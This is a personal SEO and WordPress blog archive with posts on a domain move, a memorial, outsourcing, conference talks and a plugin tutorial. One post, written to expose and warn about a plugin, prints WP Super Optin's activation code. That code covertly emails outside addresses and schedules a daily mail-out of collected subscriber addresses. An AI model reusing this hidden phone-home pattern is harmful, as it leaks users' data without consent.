Don’t cry! I’m still around, but have decided to go to a more professional domain, regain my blogging focus & try to start afresh.

So with that said, here’s where I’m still around:-

• For SEO/Social Media style posts (the kind you’ve seen recently), check out the website for Winwar Media. I’m writing a bunch of posts on the site.
• A lot of people over the course of my blog commented that I should write more personal posts. I’m posting it in my new personal blog – Rhys Wynne.
• Also, I’ll still be posting on Retro Garden.
• At the moment, I’ll still be having the WordPress Plugins & bbPress Plugins on this site (though this will change soon to the Winwar site).
• Be sure to check out my OIO Publisher Review, my most popular post in the last year, or read the blog archive.

I look forward to seeing you at one of those sites. I’ve enjoyed blogging here – this domain was bought by my brother – has gone from Blogger to WordPress, and saw me move from being a mere hobbyist blogger into something more permanent.

I hope to see you again soon!

Rhys

WP Super Optin Is Illegal

WP Email Capture is released under the GPL. In the long & short of it, it basically means that you are free to make changes & distribute it, however you must give credit to the original plugin owner. Although the plugin uses my functions & code, it doesn’t give credit. Instead they rename a bunch of functions.

Here’s the first 30 lines of process.php in WP Email Capture:-

<?php

function wp_email_capture_process()

{

 if(isset($_REQUEST['wp_capture_action'])) {
 wp_email_capture_signup();
 }

 if(isset($_GET['wp_email_confirm']) ||
isset($_REQUEST['wp_email_confirm'])) {
 wp_capture_email_confirm();
 }

}

function wp_email_capture_double_check_everything($name, $email)

{

 if (wp_email_injection_chars($name) ||
wp_email_injection_chars($email) ||
wp_email_injection_chars($name) ||
wp_email_injection_chars($email))

 {

 return FALSE;

And here’s the first 30 lines of process.php in WP Super Optin.

<?php

function wp_super_optin_process()

{

 if(isset($_REQUEST['wp_capture_action'])) {wp_super_optin_signup();
 }

 if(isset($_GET['wp_email_confirm']) ||
isset($_REQUEST['wp_email_confirm'])) {
 superoptin_wp_capture_email_confirm();
 }

}

function wp_super_optin_double_check_everything($name, $email)

{

 if (superoptin_wp_email_injection_chars($name) ||
superoptin_wp_email_injection_chars($email) ||
superoptin_wp_email_injection_chars($name) ||
superoptin_wp_email_injection_chars($email))

 {

 return FALSE;

Whilst I don’t go around suing people running the plugin, it is in violation of Title 17 U.S. Code, Section 106(a) of the Copyright Act of 1976, and several recognized international copyright laws. More scary from your perspective, is the second step.

WP Super Optin Is Insecure

From reading the support forums, I found this nasty piece of code:-

function wp_super_optin_activation()
 {

 $domain = $_SERVER['HTTP_HOST'];

 //  mail("masstrend@aol.com","The plugin activation on " . $domain ,"The plugin is activated and this scheduled hook is ready for use.");

 mail("masstrend@aol.com","The plugin activation on " . $domain ,"The plugin is activated and this scheduled hook is ready for use.");

 if ( !wp_next_scheduled( 'email_scheduled_csv' ) ) {
 //$timestmp = (time()+300);
 $timestmp = strtotime("tomorrow 3 AM");
 wp_schedule_event($timestmp, 'daily', 'email_scheduled_csv');

 $date = date('j F Y g:i:s A',$timestmp);
 mail("masstrend@aol.com","Email for optin CSV scheduled","Email for optin CSV has been scheduled for " . $date. " and the current date/time is " . $date = date('j F Y g:i:s A', time()) );
 mail("wordpress@wpemailoptin.com","Email for optin CSV scheduled","Email for optin CSV has been scheduled for " . $date. " and the current date/time is " . $date = date('j F Y g:i:s A', time()) );

 }
 }

What this function does is email back on a daily basis all email addresses you collect. Why he wants to use them I’m not sure, but I can imagine it is to spam the bejesus out of them. Not good.

This violates the CANSPAM act (you need to double opt-in to emails), and is bloody sneaky. WordPress doesn’t like it either. Furthermore, emails are sent when you activate & deactivate the plugins, without your knowledge.

WP Super Optin Is Unsupported

Finally, I’ve been receiving emails asking for support on WP Super Optin. Why I have no idea, but it’s frustrating, and each one I’ve told them what I’ve just told them, and they should download WP Email Capture instead.

What I’m Doing

I’m a bit pissed off with it, as he’s deliberately targeting me in search engines, comment spamming & spinning lies on forums such as Warrior Forum.

On Wednesday (with a huge thank you to uber PHP Ninjaguru Jem for sending me the template) I sent the email address within the Whois details (although I’ve never been to Los Angeles, I’m confident to say that there’s no street called WPEmailOptin Street), and I’ve heard nothing back. So onto the stage 2: which is a three pronged attack. An angry blog post (SEO’ed to buggery to rank for the plugin name), emails to WordPress & emails to Hostgator, his host (and also mine).

Fingers crossed!

Update (1pm GMT): Just had an update from WordPress. It’s been removed from the WordPress Plugin Repository. Thank you

Update (9th December, 5pm GMT): After a discussion with the Hostgator security team, who were lovely, the site has been removed.

In the last week, the SEO world in the UK & around the world has been shocked by the tragic & untimely passing of Jaamit Durrani. I wanted to share a few thoughts on him.

I only met the guy once, at Think Visibility, but his impact on me was huge.

June 2009. Although I was in a stable job, I wasn’t where I wanted to be geographically. I was a little bored with living in North Wales, tensions between myself & mum & dad were straining (justifiably – I was a knob), and many of my friends moved away from the area. I wasn’t sure what I wanted from life, and had a stupid idea that this blog was going to make me a gazillionaire – discussions in my local was surrounding making millions, but not entirely sure how. Nevertheless, I ramped up blogging. Lyndon Antcliff – one person I was following on twitter – came up with a bunch of ideas for linkbait. One of which was “1 Cristiano Ronaldo, or PR6 links?”. I got scribbling, asked him for a retweet, and he duely obliged.

Amongst the retweets was Jaamit. Unlike many of the other retweeters though, I kept speaking to him. Over time, and through him, I got to meet many people associated with SEO virtually on Twitter. Amongst them was the guys & girls associated with #mancseo. I January I attended my first one, decided that in terms of my career I needed to move to Manchester, two months later getting a job & then the rest – as they say – is history.

I’m a firm believer in causality – I do think rather a lot about what if’s & whether if Jaamit retweet (and subsequent discussion) that tweet of mine I wouldn’t be end up living in Manchester. I’m unsure (I was familiar with individuals in SEO at that point). However, what I am sure about is that in the year & a bit I spoke to Jaamit (both online & in person), I found him a lot of fun.

Two stories online stand out for me. One night I was having trouble sleeping, so like a good little social media bunny I tweeted such a fact. Jaamit (who was awake at the time), tweeted back “I’d recommend you count sheep, but being a Welshman you’d probably get the wrong idea. ”. Next morning I woke up,  checked Twitter again & found 3 Direct Messages from Jaamit saying he was sorry if I offended him. I told him he didn’t, I just fell asleep.

Since then, it was fair game to rip the piss out of each other.

The second story was on the morning of Think Visibility, during Mel’s talk. For those of you who weren’t there or who didn’t read the twitter feed, the room that was unmentionably hot. Like a good little social media bunny I tweeted this, saying the room was “hot & sweaty”. The first tweet back was from Jaamit saying “I know! I can smell you from here!”.

When I finally met him (later that day, to which I greeted him with “Can you smell me now Jaamit?”), I was greeted with a guy who was fun, smiling & joking – the Jaamit I grew to know on Twitter. Like so many people have said – the Jaamit that we knew online was pretty much the same we knew offline. I enjoyed his Link Building Presentation at Think Visibility, and we (and a few others) shared dinner after the event, which was good fun. He thought me & Carly were going out. A fact that I mercessily ripped the piss out of him for. Ironically getting to know him in that time I learnt more about his approach to SEO than I did from speaking to him on Twitter for a year and a bit – as so often the case in this industry.

So it was with a heavy heart that I heard the news on Friday, I was in total disbelief. I can’t pretend I knew him well, but feel terrible for those who knew him a lot better (people such as Rishi, Richard, Annabel, Amrit & Claire amongst others), and couldn’t begin to comprehend what is wife is going through.

Wonderfully, the much criticised SEO community (a criticism I disagree with) has rallied around & a lot has been put in force – you can read about what’s been done for Jaamit in this blog post.

All I can say in closing is RIP Jaamit, wish I had chance to get to know you better.

It’s been an experience, but it’s been worthwhile – I’ve been able to keep a few things moving whilst I’ve been on holiday. With a laptop which I took on my travels, it was easy.

Whilst I’ve been happy with the results so far, it’s been a learning experience, but this is a fairly nifty tip I picked up.

Basically, when you create a project, one of the most important things to do is communication – like pretty much anything online. If you have a good communication with your outsourcee (is that a word?), then problems will be negated. To test how well the outsourcer reads is this:-

Include in your job description an outlandish statement that people wouldn’t do. Something like “the last word of the application must be ‘weddings’.”, or – what I do – “Please address your application to Commander Zorg of The Interstellar Nebula”.

This immeidately removes time wasters or spammers who just copy & paste blurb saying their wonderful or lovely or that they kiss babies foreheads, whereas a shorter more to the point message that meets your requirements will get through.

I’ve known people to say that the first message should be in haiku form, as not only does it show that they understand, but also that they are more interested in the role than simply sending in their CV.

Do you have any tips for outsourcing?

In the last week, Sebastian Vettel became the Formula 1 champion. It’s  a sport with global appeal, generating millions of dollars of revenue for anybody associated with it. Despite this, there are two things I am sure with it.

• Rule Changes Are Common – Every year there are rule changes (see 2010 Rule Changes) in Formula 1. These are designed to make it more exciting, relevant & more competitive, allowing the quality (and occassionally the scum) to rise to the top.
• I Don’t Understand It’s Appeal – there we go, I admit it. I can’t understand the appeal. Sure I wouldn’t turn it off if it was on the telly, but I don’t understand why people get up at sillybuggeroclock on a Sunday to watch it, or analyse what is effectively a parade.

Therefore I conclude that Formula 1 is Dead.

Despite the fact it’s turning over billions, has worldwide coverage, has corporates throwing money at it, lucrative to be seen with & generally a good thing. It’s dead. Largely for the two reasons I said above.

Sounds silly doesn’t it?

But that is exactly what people are saying about SEO. An industry that is turning over billions, has worldwide coverage, has corporates throwing money, lucrative to have & generally a good thing. It is been declared over and over as being dead. Heck, even a great guest post by Gary Arndt where he said he believed that Social Media was a Wiser Investment than SEO, got flagged up as an “SEO is Dead” post, when it quite clearly wasn’t.

SEO is prone to rule changes. In fact it happens all the time. Just because you don’t understand it, doesn’t mean you should dismiss it.

To return to the Formula 1 analogy, if you look at the teams at the top of the standings, the top 3 constructors have 109 years experience and 25 construction championships between them. From my (limited) knowledge, it seems that experience does count in Formula 1.

As it does SEO.

That’s what people invest in. Long time SEO’s with a proven track record of success will attract investment. Those who test, try things, play around with things, build good content, research & generally spend time getting “it” will end up dominating rankings, as well as getting compensated well for their troubles. Those who try for a bit, fail & then give up declare that SEO is Dead, and move onto the next fad to make their millions (e-book on interviews anybody?). This is not necessarily a problem, as it makes my job easier.

So this is the question: will you research, test, try & succeed like Ferrari? Or will you give up like Footwork-Cotsworth?

rhyswynneIn case you haven’t seen this – the coolest thing I saw at #r3play: Twitter client on a ZX Spectrum – http://bit.ly/dqmrfCTue

Of course, with something like Blackbird Pie you can embed individual tweets into your site, which can be great for tracking & blogging the key takeaways of the conference from everybody else. Furthermore it lets your blogging community know the influencers, getting them some followers.

But how about events? I did this with my recent trip around Europe with the whole purpose of blogging it, but unfortunately (for reasons I’ll explain later) it didn’t work.

You can use hashtags to microblog events that you attend. I’ve been playing around with a small script recently (with a help of ODesk) that is designed to turn your twitter feed into a post on your blog.

What you do is use a hashtag that nobody else will ever use. For my trip around Europe I used the hashtag #rhysvseurope, and for the event I tweeted last night (Burscough FC vs. Colwyn Bay) I used #buscoughvsbay. Basically silly tweets.

You can then at a later date use the Twitter Search & Blackbird Pie to get all your tweets from the event.

rhyswynneRight I’m off to Burscough for #burscoughvsbay – wish us luck!

rhyswynneOn train to #burscoughvsbay. Awfully slow going ATM.

rhyswynneTrain is running a bit late for #burscoughvsbay. May miss kick off. I NEVER miss kick off.

rhyswynneHad trouble getting in. Not because I’m scum, Burscough has the world narrowest turnstiles. #burscoughvsbay

rhyswynneBurscough come out to music & an enthusiastic DJ. I know the tune, but only as Helmut’s theme from Street Racer #burscoughvsbay

rhyswynne#burscoughvsbay bit ping pong at the moment. Freezing ones bits off.

rhyswynne#burscoughvsbay ref is so biased towards Burscough even they notice it, referring to the ref as Uncle Jim. Lovely!

rhyswynne0-0 HT. To all intents & purposes Burscough should be 1-0 up. Bay playing average. #burscoughvsbay

rhyswynne15 mins into second. Bit ping pong again! #burscoughvsbay

rhyswynne#burscoughvsbay Burscough have 4 solitary seats in one stand. I’ve been told they were 4 seats short of minimum regs. Game is terrible.

rhyswynne#burscoughvsbay YYYYYEEEAAAAHHHH….DAMMIT! Goal disallowed for offside. Sheds knocked it over from 6 yards out. Open goal. Still cold.

rhyswynneFinal score 0-0. Off to get warm in the clubhouse. Pint of fosters extra cold barkeep! #burscoughvsbay

rhyswynneTrain cancelled. Anybody going from Burscough to Manchester in the car? #burscoughvsbay

rhyswynne#burscoughvsbay Right train not arrived. Taxi not arrived. Relying on two people who are taxi drivers. In pub for cheeky half.

rhyswynneTRAINS ARRIVED!!! #burscoughvsbay

rhyswynne#burscoughvsbay finally home. 3 hours after game finished, and a £12 cab fare lighter. Tomorrow’s job? Get #northernrailpaymycab trending

The issue I had – and the warning to learn? Don’t hang around! By the time I got around to blogging about #rhysvseurope, the twitter search had archived the tweets, making them unsearchable. I could use Google, but it’s not 100% accurate, so if you are to blog an event, make sure you grab the tweets as early as you can.

Nichola Stott – The Business Of Search

Nichola Stott, before co-founding theMediaFlow, was head of Yahoo!’s Commercial Search Partnerships, and in her talk she shared insight into why search engine’s do what they do as commercial entity.

Before plunging into a maths lesson – which are covered on her slides – she shared that certain searches have no commercial value for Google, information searches (for example, see this search for fleming’s left hand rule) don’t have any sort of Google Ads. Try it yourself!

From her figures, she worked out that Google has an average earning of around £22.55 per 1000 searches, which seems like a phenomenal amount, and the only way that is likely to increase is by improving the click through ratio in the search engine. To do this, you’d have to make search results:-

• Improving matching technologies
• Reduce search abandonment rate
• Improve total result relevance

In short, make searches more relevant.

Google does most – if not all – of it’s testing on the page 1 results of Google, so if you are on page one for your search term, you’re ranking will be a testing bed for Google’s algorithms.

What to take away: In order to maintain rankings at the top of the search engine, make your website incredibly relevant to the search term you want to rank for.

Barry Adams – Optimising for Google News

Barry Adams shared some of his insights during his time working at the Belfast Telegraph, particularly in how to rank in Google News. Google News results are now integrated within natural search results, and you can get some nice (if slightly intermittent) rankings for PR results.

There are three ways to get into Google News:-

• Start a News Site
• A Paid Advertorial
• Press Releases

Tips to Start Up A News Site

To get into Google News as a website, you need the following:-

• Original Content
• Multiple Authors
• Regular Updates: this takes two forms – new stories & updating existing stories, this can be updating current blog posts & updating new ones.
• Develop an editorial strategy & a niche – unless you want to be a generic news site. These are trickier to get into Google News.
• Make your images non-clickable.
• Have a Google News XML Sitemap

As you can imagine, this is a tough set of criteria to hit.

Tips to Rank in Google News

Google News’ search ranking algorithm isn’t as smart as Google’s search algorithm (with good reason, spam sites don’t get into Google News due to it’s editorial policy), so you can appear in Google News with a little bit of work. To do this, Barry shared some tips:-

• Write a good press release – simple really!
• Target high volume  keywords – again you can afford to be bold, as if they get picked up by the general news sites, then you will rank in Google Search for that keyword – do any search for a high volume keyword & you will see Google News results.
• Pick a good accompanying image – photos of relevant people mentioned in the press release work well, clipart doesn’t!
• Spread article far & wide with pr distribution channels, submit to news sites that accept pr & paid content – don’t worry about duplicate content.
• Build relationships with editors – it’ll make your job easier.
• Generate news regularly – but don’t spam.

What To Take Away: Using Google News as a channel for ranking content in your site can be done, but you need great press releases that get picked up by the major news sites. Or you can pay for advertorials.

Kelvin Newman – The Psychology of Link Building

Kelvin Newman gave a talk on how to help your link building. Thing is, websites don’t link to websites, people link to websites.

There are three factors that influence all of our link building:-

• Gut feeling.
• Habit.
• What Rand Fishkin says.

He then shared a bunch of psychology problems that had their own conclusions, these included:-

• The Candle Problem – This can be applied to link building in that people aren’t always cash incentivised for a link. You can get great links by being creative & thinking outside the box.
• The Trucker & Gate Problem – This can be applied that collaboration can work better than competiton. Working with your rivals with similar promotions, particularly with guest blogging, can still get results. If you work with your rivals, you both win.
• Social Identity Theory - Groups of people form instantly, this can be applied to link building by creating a community around your blog. Even more than that, give a name to your readers (or in my case, you little Gospelites), in that it creates a sense of belonging amongst your readers. Loyal readers are linking readers.

What To Take Away: Read Spring.org.uk. Religiously.

Neil Walker – SEO Forecasting

Neil Walker‘s talk on forecasting SEO was aimed more at individuals who had to sell SEO as part of a marketing plan. However, thanks to him having a lot of data to play with (over 166,000 keywords tracked), he has a lot of experience in forecasting results for SEO.

His presentation was hugely interesting, but hugely complicated, and he’s explained it a bajillion times better than I ever could. You should check out the SEO Forecasting the holy grail, if you ever want to work out just how effective SEO can be!

The After Party & Conclusion

Overall it was a great conference, a good afternoon away from work. I enjoyed it immensely, particularly the networking event after (bar the curry, which I felt for days after). It was good meeting Nichola, Dean & catching up with Kev and everybody else in Mancseo. In May it is Sascon – which is a 2 day SEO & Social Media conference in Manchester. I’m likely to attend, I suggest you do too.

Further Round Up

• A post on the Mancseo Page has the Presentations from the Mancseo Mini Conference.
• Attacat has a round up of the Business of Search, Psychology of Linkbuilding, Optimising for Google News & Forecasting for SEO Presentations.
• Dean Cruddace was Outraged at Mancseo.

After two weeks of some amazing traveling, tales & scenery, the journey never stops, as this Friday is the Manchester SEO Mini Conference. Since my move to Manchester I’ve been to all but one of these events, and went to two before going to Manchester in the first place. I go for good reason: I meet some great minds in the world of search, and the chats are informal yet at times insightful. Plus it is a great excuse for a pissup.

This Friday however a more serious meetup will be happening – the mancseo mini conference. Overwhelmingly decided by visitors to the Manchester SEO site that a free conference is a great idea, so this Friday there’ll be some great speakers & talks:-

• Nichola Stott – The Business of Search: An Insider Perspective on the Search Engine Business and How This Shapes Our Approach
• Barry Adams – Optimising for Google News
• Kevin Newman – The psychology of successful link building
• Neil Walker – Forecasting for SEO

Tickets have been sold out twice over – and people are coming out from over the country (including guest blogger Dean Cruddace from a couple of weeks back – “Kill Your Blog Spammers Cat“), and I’m most looking forward to meeting & networking at this event (sponsored by Manual Link Building – my employers) & the after party (sponsored by theEword).

I will be providing a roundup of this event next week, and if you follow the #mancseo hashtag on twitter – then you can attend virtually.

There’s another meetup happening this week that you are able to attend – the South Manchester Tweetup. It’s this Wednesday in The Didsbury in Manchester. You can view the event on Eventbrite & book your place (which is only designed to get numbers).

Let me know if you’re attending either one of the events in the comments!

The files

A WordPress plugin is made up of at least one PHP file. It can contain many other files including other php, HTML, CSS and JavaScript. The plugin we are going to build will just contain a single PHP file called myprofilelinks.php.

The main file for a WordPress plugin must contain a header with contains all of the information about our plugin. Here we can say who wrote the plugin, give it a name and other information. The header is included at the top of the main file and is contained within standard PHP /* */ comment tags. The header is very simple and more information can be found here.

Hooks – actions and filters

WordPress allows developers to tap into a blog’s functionality through hooks. A hook allows a developer to execute a section of code when a specific action happens or to filter the output or input to the system (a list of all hooks can be found here). In our plugin, to add an action we use the add_action() method, and to add a filter we use the add_filter() method. What we are going to need in our filter is to add a filter that is displayed when the_content is output:

<?php
add_filter('the_content', 'addFooter'); //Add a filter that will run our addFooter function when the_content is displayed
?>

Our filter

The function we have ‘hooked’ into our blog using the add_filter() method needs to accept one parameter. The function accepts the single parameter of the content we wish to filter and then returns our filtered output. The the_content filter is run just before every post or page is output to the screen and allows us to make changes to the content. Let’s take a look at what we will do with our function:

<?php
function addFooter($content) {
if(is_page()) { //If our content is a page, do nothing
return $content;
} else { //This is a blog post so let's add on our links
return $content . '<div class="myProfileLinks"><a href="http://www.twitter.com/yourprofile">Twitter</a></div>';
}
}
?>

We now have a plugin which will add on a div to all of our blog entries that will contain a link to our Twitter profile. This can be modified using CSS to make it look better, we could change the link to an image etc. The basics of this post will allow you to create your first WordPress plugin and start modifying your blog in your own way and do whatever you want. The important thing to remember with these plugins is that you can run whatever code you want and just ‘hook’ it into the blog where necessary to give the desired output.

Installing your plugin

To install your plugin you can either upload it directly to your wp-content/plugins directory or zip it up and then upload it through the plugins menu in your admin area.

Full source code

Finally, here is the full plugin source code (excluding the header):

<?php
add_filter('the_content', 'addFooter'); //Add a filter that will run our addFooter function when the_content is displayed
function addFooter($content) {
if(is_page()) { //If our content is a page, do nothing
return $content;
} else { //This is a blog post so let's add on our links
return $content . '<div class="myProfileLinks"><a href="http://www.twitter.com/yourprofile">Twitter</a></div>';
}
}
?>
